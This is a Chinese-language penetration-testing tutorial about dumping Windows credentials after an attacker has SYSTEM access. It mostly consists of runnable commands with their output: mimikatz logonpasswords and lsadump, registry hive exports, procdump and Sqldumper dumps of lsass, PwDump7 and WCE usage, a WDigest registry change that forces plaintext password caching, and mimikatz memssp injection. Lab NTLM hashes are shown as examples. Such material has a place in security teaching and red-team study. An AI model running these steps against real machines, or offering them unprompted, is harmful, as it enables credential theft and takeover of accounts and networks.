更新时间:2022.08.04
本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。
https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2
一般来说,在我们获取到Windows
的system
权限之后,一般都喜欢去看下密码,哪怕是hash
,也想尝试去解一下,Windows
下的安全认证机制总共有两种,一种是基于NTLM
的认证方式,主要用在早期的Windows
工作组环境中;另一种是基于Kerberos
的认证方式,主要用在域环境中。
关于NTLM
的知识,在这里就不在展开了,有兴趣的可以去搜下。
本次环境共准备了Windows server2003
、Windows7
、Windows10
、Windows server2012
,按照他们的特点,有针对的进行实操获取。
本文默认已获取system
权限的情况下进行操作。
这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀。
原版工具:https://github.com/gentilkiwi/mimikatz
使用方法:
privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
systeminfo
查看当前的电脑是32位
的,所以在这里就使用32
位的来试下:
执行命令之后可以直接获取到明文:
privilege::debug
sekurlsa::logonpasswords
在这里先关闭Windows10
的Windows defender
,在这里并不对其进行免杀研究,直接使用x64
位的之后,来获取hash
:
执行命令之后只能够获取hash
,不能够直接获取明文:
209c6174da490caeb422f3fa5a7ae634
可以通过第三方的方式来获取密码:
当然,mimikatz
也可以使用非交互的方式来获取hash
:
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
有时候,因为某些问题,导致无法直接获取hash
,所以在这里还可以使用注册表导出hash
的方式来进行,具体的步骤如下:
在靶机上使用以下命令(需要system
权限):
靶机上执行:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
在本地使用mimikatz执行:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
打开cmd
执行命令,导出system.hiv
,sam.hiv
,security.hiv
文件:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
最后使用mimikatz
执行,在非靶标机器上,不需要system
权限:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
RID : 000001f4 (500)
User : Administrator
Hash LM : f0d412bd764ffe81aad3b435b51404ee
Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
直接去查询即可。
使用同样的方法导出之后再解密:
获取到hash
信息:
User : admin
Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
这个文件是我早些时候渗透的时候获得的,在win7
、8
等低于Windows10
的系统上(这种说法不严谨),使用system
权限运行能够直接获取64
位系统的账号和密码信息。
这个工具应该是PwDump7
工具的魔改版本。
在win10
上因为无法获取账号密码报错:
win7
环境下:
https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
可以在Windows2003
上执行,手工将得到的结果保存在1.txt
中:
PwDump7.exe > 1.txt
Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
ProcDump
是一个命令行程序,可以将系统正在运行的进程转存储生成为dump
文件,微软自己的工具,理论上来说不应该会被杀。
它的原理是Procdump
导出lsass.exe
的转储文件,使用mimikatz
读取器中的hash。
如果对方机器是win10
以下的,都可以获取明文密码。
地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法:
先dump
出lsass.exe
:
32位:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
mimikatz读取:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
无法使用
执行命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后使用mimikatz
读取:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
官网地址:
https://www.ampliasecurity.com/research.html
32位
下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位
下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
参数解释:
-l 列出登录的会话和NTLM凭据(默认值)
-s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c 用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o 保存所有的输出到一个文件 参数:<文件名>
-i 指定一个LUID代替使用当前登录会话 参数:<luid>
-d 从登录会话中删除NTLM凭据 参数:<luid>
-a 使用地址 参数: <地址>
-f 强制使用安全模式
-g 生成LM和NT的哈希 参数<密码>
-K 缓存kerberos票据到一个文件(unix和windows wce格式)
-k 从一个文件中读取kerberos票据并插入到windows缓存中
-w 通过摘要式认证缓存一个明文的密码
-v 详细输出
使用方法:wce.exe -l
或者直接wce
。
无法使用:
正常执行:
因为没有安装sqlserver,可能导致最后无法执行成功。
可以从https://www.xiazaiba.com/html/35382.html下载工具(我在win10 defender
下是默认无毒的)
首先查看下当前lsass.exe的进程号:
tasklist /svc |findstr lsass.exe
找到Sqldumper.exe的安装路径,使用管理员权限的cmd导出dump文件,使用方法:
Sqldumper.exe ProcessID 0 0x01100
在这里使用就是:(失败)
放一个成功的图:
3.mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”
在这里主要是获取Windows
高版本的明文密码,因为在Windows2012
系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
本次环境Windows server2012
,本文默认已获取system
权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。
前提条件:
system
权限在这里依旧使用mimikatz
进行密码的抓取,默认情况下是无法获取明文信息的:
privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
再使用命令锁屏:(这个命令可以使用用户权限来执行)
rundll32.exe user32.dll,LockWorkStation
接下来等待用户再次登录一次就可以抓到了:
如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)
修改不记录明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
再次重启下就可以了:(锁屏无效)
privilege::debug
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值
需要的条件:
system
权限在这里使用mimikatz
来实现:
privilege::debug
misc::memssp
修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码:
C:\Windows\System32\mimilsa.log
其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。